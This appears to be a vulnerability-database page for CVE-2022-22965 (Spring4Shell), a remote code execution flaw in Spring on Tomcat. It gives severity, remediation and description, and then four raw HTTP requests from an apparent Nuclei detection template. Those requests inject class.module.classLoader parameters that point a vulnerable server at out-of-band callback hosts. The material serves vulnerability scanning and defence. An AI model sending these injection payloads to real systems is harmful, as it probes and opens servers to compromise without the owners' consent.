| Title | Spring - Remote Code Execution |
|---|---|
| Author | justmumu,arall,dhiyaneshDK,akincibor |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to this exploit. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94441 |
| CVE ID | CVE-2022-22965 |
| CWE ID | CWE-94 |
| Tags | cve2022 cve rce spring injection oast intrusive kev vmware vkev vuln |
Spring MVC and Spring WebFlux applications running on Java Development Kit 9+ are susceptible to remote code execution via data binding. It requires the application to run on Tomcat as a WAR deployment. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Length: 173
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
class.module.classLoader.resources.context.configFile=http://d5jm43hle0o3kt07salgm9kfjqq8zx6b5.oast.fun&class.module.classLoader.resources.context.configFile.content.aaa=xxx
GET /?class.module.classLoader.resources.context.configFile=https://d5jm43hle0o3kt07salggaapyootfwoaa.oast.fun&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11) AppleWebKit/617.29 (KHTML, like Gecko) Version/17.7 Safari/617.29
Accept-Encoding: gzip
Connection: close
GET /?class.module.classLoader.resources.context.configFile=http://d5jm43hle0o3kt07salg1tizo5pek8jjz.oast.fun&class.module.classLoader.resources.context.configFile.content.aaa=xxx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/16.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15
Content-Length: 174
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
class.module.classLoader.resources.context.configFile=https://d5jm43hle0o3kt07salg3ogtrteakw9id.oast.fun&class.module.classLoader.resources.context.configFile.content.aaa=xxx
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-22965.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-22965.pcap
N/AN/A